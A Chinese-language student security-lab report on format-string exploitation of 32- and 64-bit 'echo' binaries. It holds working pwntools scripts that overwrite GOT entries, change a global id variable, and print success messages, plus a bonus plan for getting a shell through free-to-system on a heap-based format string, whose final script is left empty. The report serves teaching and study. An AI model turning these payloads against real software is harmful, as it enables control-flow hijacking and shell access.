Challenge 1. fmt32

在实验报告中提供截图和攻击代码证明完成如下目标

- 成功劫持控制流，如改写GOT表，跳到对应学号的`target_function_XXX`中，打印`Try harder`；
- 在上基础上成功修改变量，跳到对应学号的成功信息；

攻击过程及原理

- 首先检测程序开启的保护，可以看出源程序是32位程序，开启了部分 RELRO 保护，有canary，栈不可执行，PIE关闭。

```
→  01_fmt32 checksec echo
[*] '/home/student/Desktop/lab/lab3/01_fmt32/echo'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

- 本地ASLR是开启状态。

```
→  01_fmt32 cat /proc/sys/kernel/randomize_va_space
2
```

- `echo()`函数中存在FSB，程序直接以用户输入作为`printf`格式化串部分进行输出。

```
1  void echo()
2  {
3      printf("Remeber that &id = %p\n", &id);
4      printf("You can exactly 256 charecters ...\n");
5      char buffer[256];
6      read(STDIN_FILENO, buffer, 256);
7      printf(buffer);
8      puts("done");
9      return;
10 }
```

- 计划是跳入到`target_ 3180105507`中，其会进而跳往`target_function_3180105507`，这样完成控制流的劫持。
    - 在获取 `puts` 函数地址时使用的偏移是 8，是因为希望输出的前 4 个字节就是 `puts` 函数的地址。其实格式化字符串的首地址的偏移是 7。
    - 利用pwntools中的`fmtstr_payload`函数，在`puts_got`地址处写入`target_addr`即`target_function_3180105507`函数的plt地址。
    - 构造payload如下：

```
1  elf=ELF('./echo')
2  puts_got=elf.got['puts']
3  target_addr = elf.plt["target_function_3180105507"]
4  payload = fmtstr_payload(7,{puts_got:target_addr})
```

- 运行脚本后打印`Try harder`。

```
[*] Process './echo' stopped with exit code 1 (pid 7471)
b'       \xec
                      \x00

                                                                                   baao\xc0\x04\x08l\xc0\x04\x08m\xc0
\x04\x08\n\xb4\xce\xf7.N=\xf6\xff\xff\xff\xffq\xea\xb1\x07\x88\xa3\xce\xf7\x90T\xed\xf7\x84W\xed\xf7I\xed\xd4\xf7Try hard
er\n'
```

- 对全局变量的值进行修改，将变量`id`修改为`3180105507`，如果修改成功，会给出相关`handler`的信息，否则会给出`Try harder`信息。
  - `target_function_3180105507`函数的plt地址为0x08049190

    ```
    [DEBUG] PLT 0x8049190 target_function_3180105507
    ```

  - 我们依次修改0x08, 0x90, 0x0491，这样可以构造出递增的输入值。%8c为输入8个字符，即0x08；%136c为输入136字符，一共8+136=144，即0x90；%1025c为输入1025个字符，1025+144=1169，即0x0491。
  - 学号id的十六进制值为0xbd8c8f23，共4字节，我们可以将其分为两部分，以2字节为单位分别填充高字节和低字节。
  - 此时总共的偏移为15+7=22位，因此要从22位开始填充，而且我们的输入要满足四字节对齐，此时刚好对齐不用额外的填充。

    ```
    [DEBUG] Sent 0x51 bytes:
        00000000  25 38 63 25  32 32 24 68  68 6e 25 31  33 36 63 25  |%8c%|22$h|hn%1|36c%|
        00000010  32 33 24 68  68 6e 25 31  30 32 35 63  25 32 34 24  |23$h|hn%1|025c|%24$|
        00000020  68 6e 25 33  35 34 37 34  63 25 32 35  24 68 6e 25  |hn%3|5474|c%25|$hn%|
        00000030  31 31 38 38  31 63 25 32  36 24 68 6e  6f c0 04 08  |1188|1c%2|6$hn|o···|
        00000040  6c c0 04 08  6d c0 04 08  1c 00 ed f7  1e 00 ed f7  |l···|m···|····|····|
        00000050  0a                                                  |·|
        00000051
    ```

  - 构造payload如下：

    ```python
    # id = 0xbd8c8f23
    id_1 = 0xbd8c
    id_2 = 0x8f23
    # target_addr=0x8049190
    payload = "%8c%22$hhn"+"%136c%23$hhn"+"%1025c%24$hn%"+str(id_2-1169)+"c%25$hn%"+str(id_1-id_2)+"c%26$hn"+(p32(puts_got+3)+p32(puts_got)+p32(puts_got+1)+p32(id_addr)+p32(id_addr+2)).decode("iso-8859-1")
    ```

  - 运行脚本打印成功信息如下：

    ```
                                   o\xcl\xcm\xc\x1c\xf2\xf7\xd0\xf2\xf7
    \xf0\xf0\xf7\xe0\xfc\xf0\xf7You successfully jump into handler for 3180105507
    ```

实验脚本及结果

成功劫持控制流，改写GOT表，跳到`target_function_3180105507`中，打印`Try harder`：

```python
from pwn import *
context.arch = 'i386'
# context.log_level = 'debug'
sh = process("./echo", env={"LD_LIBRARY_PATH":"."})

sh.recvuntil("You can exactly 256 charecters ...\n")
elf=ELF('./echo')
puts_got=elf.got['puts']
```

```
target_addr = elf.plt["target_function_3180105507"]
payload = fmtstr_payload(7,{puts_got:target_addr})
sh.sendline(payload)
print(sh.recv())

sh.interactive()
```

```
[*] Process './echo' stopped with exit code 1 (pid 7471)
b'       \xec
                        \x00
                                                                                baao\xc0\x04\x08l\xc0\x04\x08m\xc0
\x04\x08\n\xb4\xce\xf7.N=\xf6\xff\xff\xff\xffq\xea\xb1\x07\x88\xa3\xce\xf7\x90T\xed\xf7\x84W\xed\xf7I\xed\xd4\xf7Try hard
er\n'
```

修改变量，跳到对应学号的成功信息：

```
from pwn import *
context.arch = 'i386'
# context.log_level = 'debug'
sh = process("./echo", env={"LD_LIBRARY_PATH":"."})

sh.recvuntil("Remeber that &id = ")
id_addr = int(sh.recvuntil("\n"),16)
sh.recvuntil("You can exactly 256 charecters ...\n")

elf=ELF('./echo')
puts_got=elf.got['puts']
target_addr = elf.plt["target_function_3180105507"]
# id = 0xbd8c8f23
id_1 = 0xbd8c
id_2 = 0x8f23

# target_addr=0x8049190
payload = "%8c%22$hhn"+"%136c%23$hhn"+"%1025c%24$hn%"+str(id_2-1169)+"c%25$hn%"+str(id_1-id_2)+"c%26$hn"+
(p32(puts_got+3)+p32(puts_got)+p32(puts_got+1)+p32(id_addr)+p32(id_addr+2)).decode("iso-8859-1")

sh.sendline(payload)
print(sh.recv())
sh.interactive()
```

```
                                                o\xcl\xcm\xc\x1c\xf2\xf7\xd0\xf2\xf7
\xf0\xf0\xf7\xe0\xfc\xf0\xf7You successfully jump into handler for 3180105507
```

Challenge II fmt64

在实验报告中提供截图和攻击代码证明完成如下目标

- 在报告中阐述32位fsb攻击和64位fsb攻击存在的主要区别，能不能直接将32位的攻击方式用到64位上呢？为什么？
- 成功劫持控制流，如改写GOT表，跳到对应学号的`target_function_XXX`中，打印`Try harder`；
- 在上基础上成功修改变量，跳到对应学号的成功信息；

攻击过程及原理

- 首先检测程序开启的保护，可以看出源程序是64位程序，开启了部分 RELRO 保护，有canary，栈不可执行，PIE关闭。

```
➜  02_fmt64 checksec echo
[*] '/home/student/Desktop/lab/lab3/02_fmt64/echo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

`target_function_3180105507`函数的plt地址为0x401840

```
[DEBUG] PLT 0x401840 target_function_3180105507
```

- 计划是跳入到`target_ 3180105507`中，其会进而跳往`target_function_3180105507`，这样完成控制流的劫持。
  - 此时格式化字符串的首地址的偏移是 6。
  - 构造payload如下：

```
elf=ELF('./echo')
puts_got=elf.got['puts']
target_addr = elf.plt["target_function_3180105507"]
payload = fmtstr_payload(6,{puts_got:target_addr})
```

  - 运行脚本后打印`Try harder`。

```
b'                                                                 p
                                                \x00aa00`Try harder\n'
```

- 对全局变量的值进行修改，将变量`id`修改为`3180105507`，如果修改成功，会给出相关`handler`的信息，否则会给出`Try harder`信息。
  - `target_function_3180105507`函数的plt地址为0x401840

```
[DEBUG] PLT 0x401840 target_function_3180105507
```

  - 共需要修改3字节，我们依次修改 0x40,0x18,0x40，填入64c%，64个字符，即0x40；然后填入216c%，此时为216+64=280个字符，即0x118，而我们只能填入一个字节，所以变为0x18；接下来填入40个字符，总共为40+280=320个字符，即0x140，实际填入的是0x40。
  - 学号id的填充与第一题相同，分别填充高字节和低字节。
  - 这里我们需要另外填充3个字节的a进行字节对齐。

```
[DEBUG] Sent 0x69 bytes:
    00000000  25 36 34 63  25 31 34 24  6c 6c 6e 25  32 31 36 63  |%64c|%14$|lln%|216c|
    00000010  25 31 35 24  68 68 6e 25  34 30 63 25  31 36 24 68  |%15$|hhn%|40c%|16$h|
    00000020  68 6e 25 33  36 33 32 33  63 25 31 37  24 6c 6c 6e  |hn%3|6323|c%17|$lln|
    00000030  25 31 31 38  38 31 63 25  31 38 24 68  6e 61 61 61  |%118|81c%|18$h|naaa|
    00000040  30 30 60 00  00 00 00 00  31 30 60 00  00 00 00 00  |00`·|····|10`·|····|
    00000050  32 30 60 00  00 00 00 00  18 32 60 00  00 00 00 00  |20`·|····|·2`·|····|
    00000060  1a 32 60 00  00 00 00 00  0a                       |·2`·|····|·|
    00000069
```

  - 构造payload如下：

```
# id = 0xbd8c8f23
id_1 = 0xbd8c
id_2 = 0x8f23
# target_addr=0x401840
payload = "%64c%14$lln" + "%216c%15$hhn" + "%40c%16$hhn%" + str(id_2-320) + "c%17$lln%" + str(id_1-id_2) + "c%18$hn" + "aaa" + (p64(puts_got) + p64(puts_got+1) + p64(puts_got+2) + p64(id_addr) + p64(id_addr+2)).decode("iso-8859-1")
```

- 运行脚本打印成功信息如下：

```
                                                                \x00aa00`You successfully jump
into handler for 3180105507
```

32位和64位fsb攻击的主要区别

32位和64位fsb攻击的主要区别是64位程序对函数参数存储的方式和32位的不同。64为程序会优先将函数的前6个参数放置在寄存器中，超过6个的再存放在栈上，而32位直接存放在栈上。

不能直接将32位的攻击方式用到64位上，因为32位地址数据输出4字节，64位输出8字节，导致我们send的地址和构造的格式化字符串之间存在‘00’截断。

实验脚本及结果

成功劫持控制流，改写GOT表，跳到`target_function_3180105507`中，打印`Try harder`：

```
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
sh = process("./echo", env={"LD_LIBRARY_PATH":"."})

sh.recvuntil("You can exactly 256 charecters ...\n")
elf=ELF('./echo')
puts_got=elf.got['puts']
target_addr = elf.plt["target_function_3180105507"]
payload = fmtstr_payload(6,{puts_got:target_addr})
sh.sendline(payload)
print(sh.recv())

sh.interactive()
```

```
b'                                                                p
                                                \x00aa00`Try harder\n'
```

修改变量，跳到对应学号的成功信息：

```
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
sh = process("./echo", env={"LD_LIBRARY_PATH":"."})
sh.recvuntil("Remeber that &id = ")
id_addr = int(sh.recvuntil("\n"),16)
sh.recvuntil("You can exactly 256 charecters ...\n")

elf=ELF('./echo')
puts_got=elf.got['puts']
```

```python
target_addr = elf.plt["target_function_3180105507"]

# id = 0xbd8c8f23
id_1 = 0xbd8c
id_2 = 0x8f23

# target_addr=0x401840
payload = "%64c%14$lln" + "%216c%15$hhn" + "%40c%16$hhn%" +str(id_2-320) + "c%17$lln%" + str(id_1-id_2) + "c%18$hn" + "aaa" + (p64(puts_got) + p64(puts_got+1) + p64(puts_got+2) + p64(id_addr) + p64(id_addr+2)).decode("iso-8859-1")

sh.sendline(payload)
print(sh.recv())
sh.interactive()
```

```
\x00aa00`You successfully jump into handler for 3180105507
```

Bonus

在实验报告中提供截图和攻击代码证明完成如下目标

- 阐述非栈上fsb漏洞利用方式；
- 成功劫持控制流完成弹shell；

攻击流程

- 检测程序开启的保护，可以看出源程序是64位程序，开启了全部RELRO 保护，没有canary，栈不可执行，PIE开启。

```
➜  03_bonus checksec echo
[*] '/home/student/Desktop/lab/lab3/03_bonus/echo'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

- 用IDA64对echo文件反编译，main函数的伪代码如下：

```
1 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
2 {
3   sub_A2A(a1, a2, a3);
4   sub_A05();
5   free(ptr);
6   exit(1);
7 }
```

其中sub_A05函数的伪代码

```
1 __int64 sub_A05()
2 {
3   sub_8FA();
4   sub_953();
5   return sub_9AC();
6 }
```

`sub_8FA()`, `sub_953()`, `sub_9AC`函数中存在FSB，程序直接以用户输入作为`printf`格式化串部分进行输出。

```
1 int sub_8FA()
2 {
3   memset(ptr, 0, 0x100uLL);
4   puts("The first punch");
5   read(0, ptr, 0x100uLL);
6   return printf(ptr);
7 }
```

```
1 int sub_953()
2 {
3   memset(ptr, 0, 0x100uLL);
4   puts("The second punch");
5   read(0, ptr, 0x100uLL);
6   return printf(ptr);
7 }
```

```
1 int sub_9AC()
2 {
3   memset(ptr, 0, 0x100uLL);
4   puts("The third punch");
5   read(0, ptr, 0x100uLL);
6   return printf(ptr);
7 }
```

- 在RELRO没有开的时候可以考虑劫持GOT表，而本题开了RELRO，而且开的空间是堆上的，思路就是直接修改栈上的返回地址，`return`的时候劫持流程。
- 先在printf处下断点，找到满足利用要求的三个指针，分别在printf第10、16、20个参数的位置。该程序在循环执行20次输入、输出前申请了一个内存块，用于存放输入的字符串，循环结束后会释放掉这个内存然后退出程序。我们将0x7ffffffee080处的值修改为GOT表中free函数的地址，再将其中的函数指针改为system函数的地址，这样在执行free函数时，实际执行的就是system，只要输入'/bin/sh'就可以拿到shell。

```
[ DISASM ]
► 0x7ffff7a46f70 <printf>        sub    rsp, 0xd8
   ↓
  0x7ffff7a46f79 <printf+9>      mov    qword ptr [rsp + 0x28], rsi
  0x7ffff7a46f7e <printf+14>     mov    qword ptr [rsp + 0x30], rdx
  0x7ffff7a46f83 <printf+19>     mov    qword ptr [rsp + 0x38], rcx
  0x7ffff7a46f88 <printf+24>     mov    qword ptr [rsp + 0x40], r8
  0x7ffff7a46f8d <printf+29>     mov    qword ptr [rsp + 0x48], r9
  0x7ffff7a46f92 <printf+34>     je     printf+91 <printf+91>
   ↓
  0x7ffff7a46fcb <printf+91>     mov    rax, qword ptr fs:[0x28]
  0x7ffff7a46fd4 <printf+100>    mov    qword ptr [rsp + 0x18], rax
  0x7ffff7a46fd9 <printf+105>    xor    eax, eax
  0x7ffff7a46fdb <printf+107>    lea    rax, [rsp + 0xe0]
[ STACK ]
00:0000 | rsp  0x7fffffffddd8 —▸ 0x555555554950 ◂— nop
01:0008 | rbp  0x7fffffffdde0 —▸ 0x7fffffffddf0 —▸ 0x7fffffffde10 —▸ 0x555555554ae0 ◂— push   r15
02:0010      0x7fffffffdde8 —▸ 0x555555554a13 ◂— mov    eax, 0
03:0018      0x7fffffffddf0 —▸ 0x7fffffffde10 —▸ 0x555555554ae0 ◂— push   r15
04:0020      0x7fffffffddf8 —▸ 0x555555554abf ◂— mov    rax, qword ptr [rip + 0x20158a]
05:0028      0x7fffffffde00 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe255 ◂— '/home/student/Desktop/lab/lab3/03_bonus/echo'
06:0030      0x7fffffffde08 ◂— 0x100000000
07:0038      0x7fffffffde10 —▸ 0x555555554ae0 ◂— push   r15
[ BACKTRACE ]
► f 0     7ffff7a46f70 printf
  f 1     555555554950
  f 2     555555554a13
  f 3     555555554abf
  f 4     7ffff7a03bf7 __libc_start_main+231
```

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555555000 r-xp     1000 0      /home/student/Desktop/lab/lab3/03_bonus/echo
    0x555555755000     0x555555756000 r--p     1000 1000   /home/student/Desktop/lab/lab3/03_bonus/echo
    0x555555756000     0x555555757000 rw-p     1000 2000   /home/student/Desktop/lab/lab3/03_bonus/echo
    0x555555757000     0x555555778000 rw-p    21000 0      [heap]
    0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dc9000     0x7ffff7dcd000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000 0
    0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fe0000     0x7ffff7fe2000 rw-p     2000 0
    0x7ffff7ff8000     0x7ffff7ffb000 r--p     3000 0      [vvar]
    0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0
    0x7ffffffde000     0x7fffffffe000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]
```

- 先泄露栈地址，ELF程序地址，libc地址，分别在栈上找到偏移，然后泄露出来。
- 因为我们输入的东西在堆上，所以不能通过常规的写入GOT表地址然后劫持，只能先把地址写在栈上，然后劫持。
- 在栈上写地址的时候又要注意，不能直接写，因为要写的地址是一个大数字，不能一下写进去，printf的缓冲区开不了那么大，所以只能一个字节一个字节写。
- 假设我们现在能控制栈里面的三个地方，分别是p1,p2,p3，p1里面放着p2，p2里面放着p3,p3里面放着一个我们要替换的地址，我们需要讲p3中的地址覆盖成free_got，那么我们需要通过p2写，但是需要一个字节一个字节写，所以需要修改p2，那么就需要p1来修改p2，从而达到一个链。往free_got中写system一个道理，链q1是p2，q2对应p3，free_got对应p3。
- 总共经过至少7次FSB。
- 还要将改RSP+0x40处的一个地址的值改为0，需要一次FSB。

```
➜ 03_bonus one_gadget ./libc.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

非栈上fsb漏洞利用方式

- 首先是需要一个循环触发格式化字符串漏洞的条件，如果实际情况只能单次触发，可以尝试能否劫持 `__libc_csu_fini/malloc/free`等 函数造成循环触发漏洞；
- 然后就是需要栈上存在单链表结构，64位程序需要三个节点地址，32位程序可能只需要两个节点（本地测试32位的地址可以通过%n一次性写入）；
- 最后需要在循环触发漏洞的期间，栈上使用到的地址空间不被破坏。

实验脚本及结果

```
1
```